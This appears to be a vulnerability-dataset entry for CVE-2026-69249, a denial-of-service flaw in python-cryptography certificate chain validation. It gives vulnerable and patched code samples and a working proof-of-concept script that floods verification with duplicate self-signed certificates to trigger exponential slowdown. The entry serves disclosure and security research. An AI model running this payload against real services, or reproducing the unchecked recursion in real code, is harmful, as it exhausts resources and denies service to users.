CVE-2026-69249
python-cryptography: DoS via exponential blowup in certificate validation.
- CVSS 8.7
- 400
- Resource Management
- Remote
python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.
- CWE
- 400
- CVSS base score
- 8.7
- Published
- 2026-08-03
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- python-crypt
- Fixed by upgrading
- Yes
Solution
Upgrade `python-cryptography` to version 49.0.0 or later.
Vulnerable code sample
import collections
# Simplified representation of a certificate for demonstration.
Certificate = collections.namedtuple("Certificate", ["subject", "issuer"])
def build_chain_inner(chain, candidates, max_depth):
"""
A simplified analogue of cryptography's internal certificate path building,
demonstrating a recursive vulnerability leading to resource exhaustion.
"""
if len(chain) > max_depth:
return None
current_cert = chain[-1]
# Base case: we have reached a self-signed root.
if current_cert.subject == current_cert.issuer:
return chain
# Find a potential issuer from the candidate pool.
for candidate in candidates:
if candidate.subject == current_cert.issuer:
# VULNERABLE: Recursion does not track previously analyzed candidates,
# allowing for exponential recursion on chains with duplicate certs.
result = build_chain_inner(chain + [candidate], candidates, max_depth)
if result:
return result
return NonePatched code sample
import collections
# Simplified representation of a certificate for demonstration.
Certificate = collections.namedtuple("Certificate", ["subject", "issuer"])
def build_chain_inner(chain, candidates, max_depth, seen=None):
"""
A simplified analogue of cryptography's internal certificate path building,
with a fix to prevent redundant recursive calls.
"""
if seen is None:
seen = set()
if len(chain) > max_depth:
return None
current_cert = chain[-1]
# FIX: Track previously analyzed certificates in the current path to prevent
# re-processing and cycles, which mitigates the exponential blowup.
if current_cert in seen:
return None
# Base case: we have reached a self-signed root.
if current_cert.subject == current_cert.issuer:
return chain
# Find a potential issuer from the candidate pool.
for candidate in candidates:
if candidate.subject == current_cert.issuer:
result = build_chain_inner(
chain + [candidate], candidates, max_depth, seen | {current_cert}
)
if result:
return result
return NonePayload
import time
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
def generate_private_key():
"""Generates a new RSA private key."""
return rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
def create_certificate(subject_name, issuer_name, subject_key, issuer_key, is_ca, is_self_signed=False):
"""Creates an X.509 certificate."""
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject_name)
builder = builder.issuer_name(issuer_name)
builder = builder.public_key(subject_key.public_key())
builder = builder.serial_number(x509.random_serial_number())
builder = builder.not_valid_before(datetime.datetime.utcnow())
builder = builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=30))
builder = builder.add_extension(
x509.BasicConstraints(ca=is_ca, path_length=None),
critical=True,
)
signing_key = subject_key if is_self_signed else issuer_key
cert = builder.sign(signing_key, hashes.SHA256())
return cert
# 1. Create the self-signed certificate that will be duplicated.
dup_key = generate_private_key()
dup_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Exploit Self-Signed CA")])
dup_cert = create_certificate(
subject_name=dup_name,
issuer_name=dup_name,
subject_key=dup_key,
issuer_key=None,
is_ca=True,
is_self_signed=True
)
# 2. Create the leaf certificate signed by the duplicated CA.
leaf_key = generate_private_key()
leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"dos.example.com")])
leaf_cert = create_certificate(
subject_name=leaf_name,
issuer_name=dup_name,
subject_key=leaf_key,
issuer_key=dup_key,
is_ca=False
)
# 3. Create a list containing many copies of the same self-signed certificate.
# This causes the exponential blowup in path validation.
# A value of 18-20 is usually enough to cause a >5s delay.
num_duplicates = 18
intermediate_certs = [dup_cert] * num_duplicates
# 4. Set up the verifier store.
# One copy of the self-signed cert is trusted.
store = x509.Store([dup_cert])
print(f"[*] Attempting to verify chain with {num_duplicates} duplicate intermediate certificates...")
start_time = time.time()
try:
# On vulnerable versions, this verification will take an exceptionally long time before failing.
store.verify(leaf_cert, intermediate_certs)
except Exception:
# A verification error is expected. We are measuring the time it takes to get here.
pass
finally:
end_time = time.time()
duration = end_time - start_time
print(f"[+] Verification processing took {duration:.4f} seconds.")
if duration > 5.0:
print("[!] VULNERABILITY CONFIRMED: Resource exhaustion DoS triggered.")
Cite this entry
@misc{vaitp:cve202669249,
title = {{python-cryptography: DoS via exponential blowup in certificate validation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-69249},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-69249/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
